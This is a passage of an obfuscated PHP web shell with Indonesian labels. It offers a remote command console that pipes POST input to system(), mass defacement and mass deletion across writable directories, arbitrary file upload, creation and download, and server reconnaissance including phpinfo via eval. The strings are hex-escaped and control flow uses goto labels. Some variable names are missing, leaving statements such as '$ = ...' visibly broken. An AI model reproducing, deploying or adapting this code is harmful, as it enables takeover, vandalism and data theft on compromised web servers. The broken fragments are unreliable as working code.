                        file_put_contents($, $isi_script);
                    } else {
                        if (is_dir($dirc)) {
                            if (is_writable($dirc)) {
                                echo "\133\74\x67\162\76\74\151\x20\x63\x6c\141\163\x73\75\47\142\151\40\x62\151\x2d\x63\x68\145\143\x6b\x2d\141\154\x6c\47\76\x3c\x2f\151\76\74\57\x67\162\76\135\46\156\142\x73\160\73{$dirb}\x2f{$namafile}\x3c\x62\162\x3e";
                                file_put_contents($, $isi_script);
                            }
                        }
                    }
                }
            }
        }
        if ($_POST["\163\164\141\x72\x74"]) {
            if ($_POST["\164\151\160\x65"] == "\x6d\141\163\x73\141\154") {
                mass_kabeh($_POST["\144\x5f\144\x69\x72"], $_POST["\144\137\146\151\154\145"], $_POST["\x73\x63\x72\151\x70\164"]);
            }
            elseif($_POST["\164\151\x70\145"] == "\142\x69\141\x73\x61") {
                mass_biasa($_POST["\x64\137\x64\x69\x72"], $_POST["\x64\137\146\151\154\145"], $_POST["\x73\143\162\x69\x70\x74"]);
            }
            echo "\74\x62\x72\76";
        }
        echo "\12\74\x64\x69\x76\40\x63\154\x61\163\163\75\47\x63\x61\x72\x64\x20\x74\x65\x78\164\55\x64\x61\162\x6b\x27\x3e\12\x9\74\144\151\166\x20\143\x6c\x61\163\x73\75\x27\x63\141\162\x64\x2d\150\145\141\x64\x65\162\47\x3e\xa\11\11\x3c\x66\x6f\162\155\40\155\145\164\x68\x6f\x64\75\x27\120\117\x53\124\x27\x3e\xa\11\11\x3c\153\x62\144\76{$_x}\x26\156\x62\x73\x70\x3b\x4d\x61\x73\x73\x20\x64\x65\146\141\x63\x65\74\57\x6b\142\144\x3e\xa\11\x9\74\142\x72\x3e\x54\151\x70\x65\x3a\74\142\162\76\xa\11\x9\74\x64\151\x76\40\x63\x6c\141\x73\x73\x3d\47\x63\x75\x73\x74\157\x6d\55\x63\x6f\x6e\164\x72\157\x6c\40\x63\165\x73\x74\x6f\155\55\163\167\x69\x74\143\150\47\x3e\xa\x9\x9\x9\x3c\x69\156\160\x75\x74\x20\143\154\x61\163\x73\75\x27\x63\165\163\164\x6f\x6d\55\143\157\x6e\164\162\x6f\154\x2d\151\x6e\x70\x75\x74\47\40\164\171\160\x65\75\47\143\150\x65\x63\153\x62\157\x78\x27\x20\x69\x64\75\47\x63\x75\x73\x74\157\155\123\167\151\164\x63\150\47\40\156\x61\155\145\x3d\x27\x74\151\160\x65\47\40\x76\141\x6c\165\x65\x3d\47\x62\151\141\x73\x61\x27\x3e\xa\11\x9\11\74\x6c\141\142\x65\154\40\143\154\141\x73\x73\x3d\x27\143\x75\163\x74\157\155\55\143\157\156\x74\x72\157\x6c\x2d\x6c\141\142\x65\x6c\47\40\146\157\x72\75\x27\143\x75\x73\164\157\x6d\x53\x77\151\164\x63\x68\47\76\x42\151\141\x73\x61\74\57\154\x61\x62\145\x6c\76\xa\11\x9\74\x2f\x64\x69\166\76\12\x9\x9\74\x64\151\x76\40\143\154\141\x73\163\75\47\143\x75\163\164\157\155\x2d\x63\x6f\156\x74\162\157\154\40\x63\165\x73\x74\157\155\55\x73\167\151\x74\x63\150\x27\x3e\12\11\x9\11\x3c\x69\156\160\165\164\x20\x63\x6c\x61\163\x73\x3d\x27\143\165\x73\x74\x6f\155\55\x63\x6f\156\x74\162\157\x6c\55\x69\156\160\165\x74\x27\40\164\x79\160\x65\75\x27\x63\150\145\143\153\142\157\170\47\x20\x69\144\75\x27\x63\x75\x73\164\157\155\123\x77\x69\164\x63\x68\61\47\x20\x6e\141\x6d\x65\x3d\x27\x74\x69\160\x65\x27\40\166\x61\154\165\145\75\47\155\x61\x73\x73\141\x6c\47\x3e\12\11\11\11\x3c\154\x61\x62\x65\154\40\143\x6c\x61\163\x73\x3d\x27\143\x75\163\x74\157\155\55\x63\x6f\156\164\162\x6f\154\x2d\154\141\x62\x65\154\47\40\146\157\162\75\47\143\165\x73\164\x6f\155\123\x77\x69\x74\x63\150\61\47\76\x4d\x61\x73\x73\141\154\74\x2f\x6c\141\142\x65\154\x3e\xa\11\x9\x3c\57\x64\151\166\76\12\x9\11\11\74\151\x20\143\154\141\x73\x73\75\47\x62\151\40\x62\x69\55\146\157\154\x64\145\x72\47\76\x3c\57\x69\x3e\40\114\157\x6b\x61\x73\x69\x3a\12\x9\x9\11\74\x69\156\x70\165\164\40\143\154\141\163\x73\75\x27\146\157\162\155\55\x63\x6f\x6e\164\x72\x6f\x6c\40\142\x74\156\55\x73\x6d\47\40\x74\x79\160\145\x3d\47\x74\x65\170\x74\47\x20\156\141\x6d\x65\75\x27\x64\x5f\144\151\162\47\40\166\141\154\165\x65\75\47{$dir}\47\76\12\x9\x9\11\x3c\x69\40\x63\x6c\x61\163\x73\75\x27\x62\x69\x20\x62\151\55\x66\x69\x6c\x65\55\145\141\x72\155\141\x72\x6b\x27\x3e\x3c\x2f\151\x3e\x20\116\x61\155\x61\40\146\x69\x6c\145\x3a\12\x9\11\x9\x3c\151\156\160\165\164\40\x63\x6c\141\163\163\x3d\x27\146\157\x72\155\x2d\143\157\156\164\162\157\x6c\40\x62\164\x6e\55\x73\x6d\x27\x20\164\171\x70\x65\x3d\x27\x74\145\170\164\47\x20\x6e\141\155\145\x3d\x27\x64\x5f\146\x69\154\x65\x27\40\160\x6c\x61\x63\145\150\x6f\x6c\x64\x65\x72\x3d\47\156\x61\x6d\141\x20\146\151\x6c\145\47\x20{$_r}\76\12\x9\11\x9\x3c\151\x20\143\154\141\163\x73\x3d\x27\142\151\x20\x62\x69\55\x66\151\154\145\55\x65\x61\162\x6d\141\162\x6b\x27\76\x3c\x2f\x69\x3e\40\111\163\x69\40\146\151\154\145\x3a\xa\11\x9\11\x3c\x74\x65\x78\164\x61\x72\145\x61\40\143\154\141\x73\163\75\47\x66\157\162\155\x2d\x63\157\156\x74\162\x6f\x6c\40\142\x74\x6e\55\163\x6d\x27\x20\162\157\167\x73\x3d\47\67\47\x20\x6e\x61\x6d\145\75\x27\x73\143\162\151\160\x74\x27\40\x70\x6c\141\143\x65\x68\157\x6c\144\145\x72\75\47\x69\x73\151\40\x66\x69\x6c\x65\47\x20{$_r}\76\74\57\164\x65\170\x74\x61\162\x65\141\x3e\xa\11\x9\x9\74\x69\x6e\160\165\x74\40\x63\154\141\x73\163\75\47\142\164\x6e\40\x62\164\156\55\x64\x61\x72\153\x20\142\x74\x6e\x2d\163\x6d\40\142\x74\156\55\x62\x6c\157\x63\153\47\40\164\x79\x70\x65\75\47\163\165\142\155\151\x74\x27\40\156\x61\x6d\145\75\47\x73\x74\x61\x72\164\x27\x20\166\x61\154\x75\x65\75\x27\x6d\141\163\163\x20\x64\x65\146\141\x63\x65\47\76\xa\11\11\x3c\57\x66\157\162\155\x3e\12\11\74\x2f\144\x69\166\x3e\xa\74\x2f\x64\151\x76\76\12\74\142\162\76";
    }
    elseif($_GET["\151\x64"] == "\143\155\144") {
        if ($_POST["\x65\153\x73\x65\103\115\x44"]) {
            $cmd = $_POST["\x65\x6b\x73\x65\x43\115\x44"];
        }
        echo "{$_s}\xa\x3c\x64\151\166\40\x63\154\141\163\163\75\x27\143\141\x72\x64\x20\x74\x65\x78\164\55\144\x61\x72\153\47\x3e\12\x9\74\144\x69\x76\x20\143\154\x61\163\163\x3d\47\x63\x61\x72\144\55\x68\145\141\x64\145\162\x27\76\12\11\x3c\153\x62\x64\76{$_x}\46\x6e\x62\163\x70\x3b\103\157\x6e\163\x6f\x6c\145\74\57\153\x62\144\x3e\xa\11\11\x3c\x64\x69\166\x20\143\x6c\x61\x73\x73\75\47\143\157\x6e\x74\141\151\x6e\145\x72\55\146\154\x75\151\144\x20\x6c\141\156\x67\165\141\x67\x65\55\x6a\x61\x76\x61\x73\143\162\151\160\164\47\76\xa\x9\11\11\x3c\x70\162\x65\x20\x73\x74\x79\x6c\145\75\47\x66\x6f\156\164\x2d\163\x69\x7a\x65\x3a\61\x30\x70\170\x3b\x27\76\74\x67\x72\x3e\176\x3c\57\x67\x72\x3e\x24\x26\x6e\x62\x73\160\x3b\x3c\162\144\76{$cmd}\x3c\57\x72\x64\76\74\x62\x72\x3e\74\x63\x6f\x64\145\x3e";
        system($_POST["\145\153\x73\145\x43\115\104"].
            "\x20\62\76\46\61");
        echo "\x3c\x2f\x63\157\144\145\76\74\x2f\x70\162\145\76\12\11\11\74\x2f\144\x69\166\x3e\12\11\11\74\146\x6f\162\155\40\x6d\145\164\x68\x6f\144\x3d\47\120\x4f\x53\x54\47\x3e\12\11\x9\x9\74\144\151\x76\40\x63\154\x61\x73\x73\75\x27\x69\156\160\x75\x74\x2d\x67\x72\157\165\x70\40\155\x62\55\63\x27\76\12\11\x9\11\11\74\x69\x6e\160\165\164\40\143\x6c\x61\x73\163\x3d\x27\x66\157\162\155\x2d\143\157\x6e\164\x72\157\x6c\x20\142\164\x6e\55\163\x6d\x27\40\164\x79\160\145\75\47\x74\x65\170\x74\x27\x20\156\141\155\x65\x3d\x27\145\x6b\x73\145\x43\115\x44\x27\40\166\141\154\165\x65\x3d\x27{$cmd}\47\40\160\154\141\x63\x65\x68\x6f\154\x64\145\x72\75\47\x77\x68\x6f\141\x6d\x69\x27\x20{$_r}\x3e\12\x9\11\11\x9\74\x62\x75\164\164\x6f\x6e\x20\x63\x6c\141\163\x73\x3d\x27\142\164\156\40\142\164\x6e\55\x64\141\x72\x6b\x20\142\164\x6e\x2d\163\155\47\40\164\x79\x70\x65\x3d\47\163\x75\x6d\x62\x69\164\47\76\74\x69\40\x63\x6c\x61\163\x73\x3d\47\x62\x69\40\x62\x69\55\141\162\162\x6f\x77\55\x72\145\x74\165\x72\x6e\55\x72\151\x67\x68\164\47\x3e\x3c\57\151\76\74\57\142\x75\x74\164\x6f\156\76\12\11\11\x9\x3c\x2f\x64\x69\166\76\xa\x9\11\74\57\146\x6f\162\x6d\x3e\12\11\74\x2f\144\151\166\76\12\x3c\57\x64\151\x76\76\xa\x3c\142\162\76";
    }
    elseif($_GET["\x69\x64"] == "\x69\156\146\157") {
        $disfunc = @ini_get("\144\x69\x73\x61\142\154\145\x5f\146\x75\x6e\143\164\151\x6f\x6e\163");
        if (empty($disfunc)) {
            $disfc = "\74\x67\162\x3e\116\x4f\x4e\x45\x3c\57\x67\162\x3e";
        } else {
            $disfc = "\74\162\144\76{$disfunc}\74\57\162\144\x3e";
        }
        if (!function_exists("\x70\157\x73\151\x78\137\147\x65\x74\145\147\151\x64")) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "\x3f";
        } else {
            $uid = @posix_getpwuid(posix_geteuid());
            $gid = @posix_getgrgid(posix_getegid());
            $user = $uid["\x6e\x61\x6d\x65"];
            $uid = $uid["\x75\x69\144"];
            $group = $gid["\x6e\x61\155\x65"];
            $gid = $gid["\x67\x69\x64"];
        }
        $sm = @ini_get(strtolower("\163\141\146\x65\x5f\x6d\x6f\144\145")) == "\x6f\x6e" ? "\x3c\x72\144\x3e\117\116\x3c\x2f\162\x64\76" : "\x3c\147\x72\x3e\117\x46\x46\x3c\57\x67\162\x3e";
        echo "{$_s}\12\74\x64\151\166\x20\x63\x6c\141\x73\163\75\47\x63\x61\162\x64\40\164\x65\x78\x74\x2d\x64\141\162\x6b\47\76\12\11\74\x64\x69\166\x20\x63\x6c\141\163\x73\x3d\47\x63\141\162\144\x2d\150\145\141\144\145\x72\47\x3e\12\x9\x3c\x6b\142\144\76{$_x}\46\x6e\142\163\160\73\111\x6e\146\x6f\x20\x73\x65\x72\166\x65\162\x3c\x2f\x6b\x62\x64\76\12\11\11\x3c\x62\162\x3e\12\11\x9\125\156\x61\155\x65\72\40\74\147\162\76".php_uname().
        "\x3c\57\147\x72\76\x3c\x62\162\40\57\x3e\xa\x9\x9\123\157\146\x74\x77\141\x72\145\x3a\40\74\147\x72\76".$_SERVER["\x53\105\122\126\105\x52\137\123\117\106\124\x57\x41\x52\105"].
        "\74\57\147\x72\x3e\74\x62\x72\x20\x2f\x3e\12\x9\x9\120\x48\120\x20\166\x65\x72\163\x69\x6f\x6e\x3a\x20\x3c\x67\x72\x3e".PHP_VERSION.
        "\74\57\x67\162\76\40\74\x61\40\x63\154\141\x73\x73\75\47\164\x65\170\164\55\x64\x65\143\x6f\162\141\x74\x69\x6f\x6e\x2d\x6e\x6f\x6e\x65\47\x20\x68\162\145\x66\x3d\x27\77\151\144\x3d\160\150\160\x69\156\x66\157\46\x70\x61\x74\150\75{$path}\47\76\x5b\40\x50\110\x50\40\111\x4e\106\117\x20\135\74\57\x61\76\x20\x50\110\x50\x20\x6f\x73\x3a\x20\74\147\162\x3e".PHP_OS.
        "\74\57\x67\x72\x3e\74\142\162\40\x2f\76\12\x9\11\123\145\x72\166\x65\x72\x20\x49\160\x3a\40\x3c\x67\162\x3e".gethostbyname($_SERVER["\x48\x54\x54\120\137\110\x4f\123\124"]).
        "\74\x2f\x67\162\76\74\x62\162\x20\x2f\76\12\x9\11\x59\x6f\165\162\40\111\160\72\40\74\147\162\76".ip().
        "\x3c\x2f\x67\162\x3e\x3c\142\162\40\57\76\xa\x9\x9\125\x73\x65\162\72\x20\x3c\x67\x72\76{$user}\74\x2f\147\162\x3e\40\50{$uid}\x29\x20\x7c\40\x47\162\x6f\165\x70\72\40\74\x67\162\76{$group}\74\57\147\162\x3e\40\50{$gid}\51\74\x62\162\40\x2f\76\xa\x9\11\x53\x61\146\145\40\115\x6f\x64\x65\x3a\40{$sm}\74\142\162\x20\57\x3e\xa\x9\x9\74\153\x62\144\76\104\151\x73\141\x62\x6c\x65\40\106\165\156\143\x74\151\157\156\72\74\57\x6b\142\144\x3e\74\160\162\145\76{$disfc}\74\57\x70\x72\145\x3e\12\x9\74\x2f\144\151\166\76\xa\x3c\57\x64\x69\166\x3e\12\x3c\x62\162\76";
    }
    elseif($_GET["\151\x64"] == "\x70\x68\x70\x69\x6e\146\x6f") {
        @ob_start();
        @eval("\x70\150\160\x69\x6e\146\x6f\50\x29\73");
        $buff = @ob_get_contents();
        @ob_end_clean();
        $awal = strpos($buff, "\x3c\142\x6f\144\171\x3e") + 6;
        $akhir = strpos($buff, "\x3c\x2f\142\x6f\x64\x79\x3e");
        echo "\x3c\160\162\x65\x20\x63\x6c\141\x73\163\75\x27\160\x68\160\x5f\x69\x6e\146\157\47\x3e".substr($buff, $awal, $akhir - $awal).
        "\x3c\57\160\x72\x65\x3e";
        die;
    }
    elseif($_GET["\151\144"] == "\x75\x70\x6c\x6f\141\144") {
        echo "{$_s}\xa\x3c\144\151\x76\40\x63\x6c\141\x73\163\x3d\47\143\141\x72\x64\x20\x74\x65\170\x74\55\144\x61\x72\x6b\47\x3e\12\x9\x3c\x64\x69\166\x20\143\154\141\x73\x73\75\x27\x63\141\162\x64\x2d\x68\145\x61\144\145\x72\47\76";
        if (isset($_FILES["\x66\x69\154\145"])) {
            if (copy($_FILES["\146\151\154\145"]["\164\x6d\x70\137\x6e\x61\x6d\145"], $path.
                    "\x2f".$_FILES["\146\151\x6c\145"]["\x6e\x61\155\x65"])) {
                echo "\74\x73\x74\162\157\x6e\x67\x3e\x55\160\154\157\x61\144\x3c\57\163\164\x72\157\156\x67\x3e\x20\157\153\x21\40".ok().
                "\x3c\57\144\x69\x76\76";
            } else {
                echo "\74\163\164\x72\x6f\x6e\147\76\125\x70\x6c\157\x61\x64\74\x2f\163\x74\x72\x6f\x6e\x67\x3e\x20\147\x61\147\x61\x6c\41\40".er().
                "\x3c\57\144\151\x76\x3e";
            }
        }
        echo "\xa\11\11\74\146\157\162\155\40\x6d\x65\x74\x68\x6f\x64\75\47\x50\x4f\123\124\x27\40\x65\x6e\143\x74\171\160\145\75\x27\x6d\165\154\x74\151\x70\x61\x72\x74\x2f\146\157\x72\155\55\144\141\x74\x61\47\76\12\x9\x9\11\x3c\153\142\144\x3e{$_x}\x26\156\142\x73\160\73\x55\x70\x6c\x6f\141\144\40\106\151\154\145\74\x2f\153\142\144\76\xa\x9\x9\11\x3c\144\151\x76\x20\143\x6c\141\163\163\x3d\x27\x69\x6e\160\x75\x74\x2d\147\162\157\165\x70\40\155\142\x2d\x33\47\76\12\11\11\x9\x9\x3c\x69\156\x70\165\x74\40\143\x6c\141\163\x73\x3d\47\146\x6f\x72\x6d\55\x63\x6f\156\164\162\157\x6c\40\x66\157\x72\x6d\55\143\157\156\164\162\x6f\154\x2d\163\x6d\47\x20\164\171\160\145\x3d\x27\x66\151\154\x65\47\x20\156\141\x6d\x65\75\x27\x66\151\x6c\145\47\x20{$_r}\x3e\xa\x9\x9\x9\x9\x3c\x62\165\x74\x74\157\x6e\x20\143\x6c\141\163\163\75\x27\142\x74\156\40\142\x74\x6e\x2d\x64\x61\x72\153\40\x62\x74\156\x2d\x73\x6d\47\x20\x74\x79\160\x65\75\47\163\165\142\155\x69\x74\47\76\74\151\40\x63\x6c\141\x73\x73\75\x27\142\151\x20\x62\151\55\141\162\x72\157\167\55\x72\145\x74\x75\162\156\55\x72\151\x67\x68\164\47\76\x3c\x2f\151\x3e\x3c\57\142\x75\164\164\157\156\76\xa\11\x9\11\74\57\144\151\x76\x3e\xa\x9\x9\x3c\x2f\146\x6f\x72\155\x3e\12\x9\74\x2f\144\x69\166\x3e\xa\x3c\57\144\151\x76\x3e\xa\74\142\162\76";
    }
    elseif($_GET["\x69\x64"] == "\146\151\154\145\x62\141\x72\165") {
        echo "{$_s}";
        if (isset($_POST["\x62\151\x6b\x69\x6e"])) {
            $name = $_POST["\x6e\x61\155\141\x5f\146\x69\154\x65"];
            $isi_file = $_POST["\151\x73\151\x5f\146\x69\154\x65"];
            foreach($name as $nama_file) {
                $handle = @fopen("{$nama_file}", "\x77");
                if ($isi_file) {
                    $buat = @fwrite($handle, $isi_file);
                } else {
                    $buat = $handle;
                }
            }
            if ($buat) {
                echo "\74\x73\x74\162\157\x6e\x67\x3e\102\x75\x61\x74\40\146\151\x6c\x65\74\57\163\164\162\x6f\x6e\x67\x3e\x20\157\153\x21\40".ok().
                "\74\57\144\x69\166\x3e";
            } else {
                echo "\x3c\x73\x74\x72\157\156\x67\x3e\x42\x75\141\164\x20\146\x69\154\145\74\57\x73\x74\x72\157\x6e\147\x3e\40\147\141\x67\x61\x6c\x21\x20".er().
                "\x3c\57\144\x69\166\76";
            }
        }
        echo "\xa\x3c\144\x69\x76\40\x63\154\x61\163\x73\x3d\47\143\x61\x72\x64\40\164\x65\170\164\55\144\141\162\153\47\76\12\11\x3c\144\151\166\40\143\x6c\x61\x73\x73\x3d\x27\143\141\162\x64\55\x68\x65\141\x64\x65\x72\47\x3e\xa\x9\11\74\x6b\142\144\76{$_x}\x26\x6e\x62\163\160\73\102\x75\x61\x74\x20\146\151\x6c\x65\74\57\x6b\x62\x64\76\xa\11\x9\x3c\146\157\x72\155\x20\155\145\x74\150\x6f\x64\x3d\47\120\x4f\123\x54\x27\x3e\12\11\11\11\x3c\151\40\143\x6c\x61\163\163\x3d\x27\142\x69\40\x62\151\55\x66\151\x6c\x65\x2d\x65\141\162\x6d\x61\x72\153\47\x3e\74\x2f\151\x3e\x20\x4e\141\155\141\x20\146\x69\x6c\x65\72\12\11\x9\11\x3c\x69\156\x70\165\x74\40\143\x6c\x61\163\163\x3d\x27\146\157\x72\155\55\x63\x6f\x6e\x74\x72\157\154\40\146\x6f\x72\155\x2d\x63\157\156\x74\x72\157\154\55\x73\155\x27\40\x74\x79\x70\145\75\x27\x74\145\x78\164\x27\x20\156\x61\155\145\x3d\47\x6e\x61\x6d\141\137\x66\151\x6c\145\x5b\135\47\40\160\154\x61\x63\145\150\x6f\x6c\144\x65\x72\75\x27\116\141\x6d\141\x20\146\x69\x6c\145\x27\x20{$_r}\76\12\x9\11\11\74\x69\40\143\154\x61\163\x73\75\x27\x62\x69\40\142\151\55\x66\x69\x6c\x65\55\145\x61\162\155\141\162\x6b\x27\76\x3c\57\151\x3e\x20\111\163\x69\x20\146\x69\154\145\x3a\12\x9\x9\11\x3c\164\145\170\164\x61\x72\145\141\40\x63\154\141\163\163\x3d\x27\146\x6f\x72\155\55\143\157\156\x74\162\x6f\x6c\40\x66\157\x72\155\x2d\143\157\156\164\162\x6f\x6c\55\163\x6d\47\40\x6e\x61\x6d\145\75\47\x69\163\151\137\146\151\154\145\47\40\162\157\x77\163\x3d\x27\x37\x27\x20\x70\x6c\141\143\x65\150\157\x6c\144\x65\x72\75\x27\x49\163\x69\40\x66\x69\x6c\x65\47\40{$_r}\40\x3e\74\x2f\x74\x65\x78\164\141\x72\145\x61\x3e\xa\11\x9\x9\74\x69\x6e\x70\165\164\x20\x63\x6c\x61\163\x73\x3d\x27\142\164\156\40\x62\x74\156\55\x64\x61\162\153\40\x62\164\x6e\55\x73\155\40\x62\x74\x6e\x2d\x62\154\157\143\153\x27\40\x74\x79\160\145\x3d\x27\x73\x75\142\155\x69\x74\x27\40\156\141\155\x65\75\47\142\x69\x6b\x69\156\47\40\166\141\x6c\165\145\75\x27\142\x75\141\x74\47\x3e\12\x9\x9\74\x2f\146\x6f\162\x6d\76\xa\x9\74\x2f\144\151\166\x3e\12\74\57\x64\x69\x76\x3e\xa\x3c\x62\162\76";
    }
    elseif($_GET["\x69\x64"] == "\144\x69\x72\142\141\162\x75") {
        echo "{$_s}";
        if (isset($_POST["\142\165\x61\x74"])) {
            $nama = $_POST["\156\x61\x6d\141\137\144\151\162"];
            foreach($nama as $nama_dir) {
                $folder = preg_replace("\x28\x5b\x5e\x5c\x77\x5c\163\134\144\134\55\137\176\54\73\x3a\134\x5b\x5c\135\x5c\x28\134\135\x2e\x5d\x7c\x5b\134\x2e\135\x7b\62\x2c\175\51", '', $nama_dir);
                $fd = @mkdir($folder);
            }
            if ($fd) {
                echo "\x3c\163\164\162\157\156\x67\76\102\x75\141\x74\x20\144\x69\162\x3c\x2f\163\164\162\157\x6e\x67\x3e\x20\x6f\153\x21\x20".ok().
                "\x3c\x2f\x64\x69\x76\76";
            } else {
                echo "\x3c\163\x74\162\x6f\156\147\x3e\102\165\x61\164\x20\144\x69\162\x3c\57\x73\x74\x72\157\156\147\76\x20\x67\x61\x67\x61\x6c\x21\40".er().
                "\x3c\57\144\151\x76\x3e";
            }
        }
        echo "\12\74\x64\151\166\40\x63\154\141\163\x73\x3d\x27\143\141\162\144\40\164\145\x78\164\x2d\x64\141\x72\x6b\47\76\xa\x9\x3c\144\151\x76\40\143\x6c\141\x73\163\x3d\x27\143\141\x72\x64\x2d\x68\145\141\x64\145\x72\x27\x3e\xa\x9\x9\x3c\x6b\x62\x64\x3e{$_x}\x26\156\x62\163\x70\x3b\102\x75\x61\164\40\x64\151\162\74\x2f\x6b\142\144\76\12\11\x9\x3c\x66\157\x72\155\x20\x6d\145\164\x68\157\144\75\x27\x50\117\123\x54\47\x3e\xa\11\11\x9\74\151\40\x63\x6c\x61\163\x73\x3d\x27\x62\x69\40\x62\x69\55\146\x6f\154\x64\145\162\x27\76\x3c\57\151\76\40\116\x61\155\141\40\144\x69\162\x3a\12\x9\11\11\x3c\144\x69\x76\40\x63\x6c\x61\163\x73\75\47\x69\156\160\165\164\55\x67\162\157\165\x70\x20\x6d\142\55\x33\47\76\xa\11\x9\x9\11\74\151\156\160\165\x74\40\x63\154\141\x73\163\75\47\146\x6f\162\155\55\143\x6f\x6e\164\x72\x6f\154\x20\x66\157\x72\155\55\x63\x6f\x6e\x74\x72\x6f\x6c\x2d\x73\155\x27\x20\164\x79\160\145\x3d\x27\x74\145\170\x74\47\x20\156\x61\x6d\x65\x3d\47\x6e\141\155\x61\137\144\x69\162\133\x5d\x27\40\x70\154\141\x63\145\x68\157\154\x64\145\162\x3d\47\x4e\x61\155\x61\x20\144\x69\x72\47\40{$_r}\x3e\12\11\11\11\x9\x3c\x69\156\x70\165\164\40\x63\x6c\141\163\x73\75\x27\x62\x74\x6e\40\x62\x74\156\x2d\144\x61\x72\x6b\40\x62\x74\156\x2d\163\155\x27\x20\164\x79\160\145\x3d\47\x73\165\142\155\151\164\x27\40\156\x61\x6d\x65\75\x27\x62\165\141\x74\x27\x20\x76\141\x6c\165\145\75\47\142\x75\141\164\x27\76\12\x9\x9\11\74\57\144\151\166\76\xa\11\11\x3c\x2f\146\157\x72\155\x3e\12\11\74\57\144\151\166\x3e\12\x3c\x2f\x64\151\x76\x3e\xa\74\142\x72\76";
    }
    elseif($_GET["\x69\x64"] == "\x64\x65\154\x65\x74\x65") {
        echo "{$_s}";

        function hapus_massal($dir, $namafile) {
            if (is_writable($dir)) {
                $dira = scandir($dir);
                foreach($dira as $dirb) {
                    $dirc = "{$dir}\x2f{$dirb}";
                    $ = $dirc.
                    "\x2f".$namafile;
                    if ($dirb === "\x2e") {
                        if (file_exists("{$dir}\57{$namafile}")) {
                            unlink("{$dir}\x2f{$namafile}");
                        }
                    }
                    elseif($dirb === "\56\x2e") {
                        if (file_exists(''.dirname($dir).
                                "\57{$namafile}")) {
                            unlink(''.dirname($dir).
                                "\x2f{$namafile}");
                        }
                    } else {
                        if (is_dir($dirc)) {
                            if (is_writable($dirc)) {
                                if (file_exists($)) {
                                    echo "\133\x3c\147\162\76\x3c\x69\x20\143\154\141\x73\x73\75\47\142\x69\40\x62\151\55\143\150\145\x63\153\x2d\141\x6c\x6c\47\x3e\74\x2f\x69\76\74\x2f\x67\162\x3e\x5d\46\156\142\163\160\73{$}\x3c\142\162\76";
                                    unlink($);
                                    $ = hapus_massal($dirc, $namafile);
                                }
                            }
                        }
                    }
                }
            }
        }
        if ($_POST["\x73\164\141\162\164"]) {
            hapus_massal($_POST["\x64\137\x64\x69\162"], $_POST["\144\x5f\x66\x69\154\x65"]);
            echo "\74\x62\x72\x3e";
        }
        echo "\xa\74\x64\x69\x76\x20\x63\154\141\x73\x73\75\x27\x63\141\x72\144\x20\x74\145\170\x74\x2d\144\141\162\153\47\x3e\xa\11\74\x64\x69\x76\40\143\154\141\x73\163\75\47\143\141\x72\144\55\150\145\x61\144\145\x72\x27\x3e\12\11\11\x3c\x66\x6f\x72\155\x20\155\x65\x74\150\x6f\144\75\x27\120\117\123\x54\x27\76\12\x9\x9\74\x6b\142\x64\76{$_x}\46\156\142\163\x70\x3b\115\x61\163\163\x20\x64\x65\154\145\x74\145\x3c\57\153\x62\x64\76\12\x9\11\74\x62\x72\x3e\xa\x9\11\74\151\x20\143\154\141\x73\x73\75\47\x62\x69\40\142\151\55\146\157\154\144\145\x72\x27\x3e\74\x2f\151\76\40\x4c\x6f\153\141\163\151\72\xa\11\11\x9\74\151\156\160\165\x74\x20\143\x6c\141\163\163\x3d\x27\x66\157\162\x6d\55\143\157\x6e\164\162\157\154\x20\x62\164\156\x2d\163\x6d\47\40\x74\171\x70\x65\x3d\47\164\x65\170\164\x27\40\x6e\x61\155\x65\75\47\x64\137\144\151\162\x27\40\x76\x61\x6c\165\x65\x3d\47{$dir}\x27\x3e\xa\x9\11\x9\11\74\x69\40\143\154\x61\163\163\75\47\142\x69\40\142\x69\x2d\146\151\x6c\145\x2d\x65\141\162\x6d\141\162\x6b\47\76\x3c\57\x69\x3e\x20\x4e\141\x6d\141\40\x66\151\154\145\x3a\12\x9\11\x9\x3c\x64\151\166\x20\x63\154\x61\163\163\75\47\151\x6e\160\165\x74\55\x67\162\x6f\165\x70\40\155\142\x2d\x33\x27\76\12\11\11\x9\11\x3c\x69\x6e\160\x75\x74\40\x63\154\141\x73\x73\75\47\146\157\x72\155\x2d\x63\157\156\164\x72\x6f\154\40\x62\x74\x6e\x2d\163\155\47\40\x74\x79\160\145\x3d\47\x74\145\170\x74\47\40\156\141\x6d\x65\x3d\x27\x64\137\x66\151\x6c\x65\x27\x20\160\154\141\x63\x65\150\x6f\x6c\x64\x65\x72\75\47\x6e\141\x6d\141\40\x66\151\x6c\145\x27\40{$_r}\x3e\74\142\162\x3e\xa\11\x9\x9\74\x64\151\166\x20\143\x6c\141\x73\163\75\47\x69\156\160\165\164\55\x67\x72\x6f\x75\x70\x2d\x61\x70\x70\x65\x6e\144\x27\76\12\11\x9\x9\x9\74\151\156\x70\165\x74\40\143\154\141\x73\163\75\47\x62\x74\156\40\x62\x74\156\55\x64\141\x72\153\x20\142\164\x6e\55\163\x6d\x27\40\164\171\160\x65\x3d\47\x73\165\x62\155\151\x74\47\x20\x6e\141\155\x65\x3d\47\163\164\141\162\164\47\x20\166\x61\x6c\x75\x65\75\x27\x6d\141\163\163\40\x64\x65\x6c\145\164\x65\x27\x3e\xa\x9\x9\x9\74\x2f\x64\x69\x76\x3e\xa\x9\11\74\57\x66\157\x72\x6d\x3e\12\x9\x9\x3c\x2f\144\151\166\76\12\x9\x3c\x2f\144\151\x76\x3e\12\74\57\144\x69\x76\x3e\12\x3c\142\x72\76";
    }
}
goto Y25me;
BijK0: if (isset($_GET["\x6f\x70\164\x69\x6f\156"]) && $_POST["\157\x70\164"] == "\144\157\167\x6e\x6c\x6f\x61\144") {
    header("\103\x6f\156\x74\x65\x6e\x74\55\164\171\160\145\x3a\40\164\145\x78\164\57\160\x6c\141\151\x6e");
    header("\103\x6f\156\x74\x65\x6e\164\x2d\x44\x69\x73\x70\157\163\x69\164\151\x6f\156\x3a\40\141\x74\x74\x61\x63\x68\155\145\x6e\164\73\x20\x66\x69\x6c\145\156\x61\x6d\x65\75\42".$_POST["\x6e\x61\x6d\145"].
        "\x22");
    echo file_get_contents($_POST["\160\141\164\x68"]);
    die;
} goto M22nq;
M22nq: function($dir, $p) {
    if (isset($_GET["\x70\x61\164\150"])) {
        $ = $_GET["\160\x61\x74\x68"];
    } else {
        $ = getcwd();
    }
    if (is_writable($)) {
        return "\74\x67\162\x3e".$p.
        "\x3c\57\x67\162\x3e";
    } else {
        return "\74\162\144\x3e".$p.
        "\x3c\57\162\144\76";
    }
}
goto b1X5j;
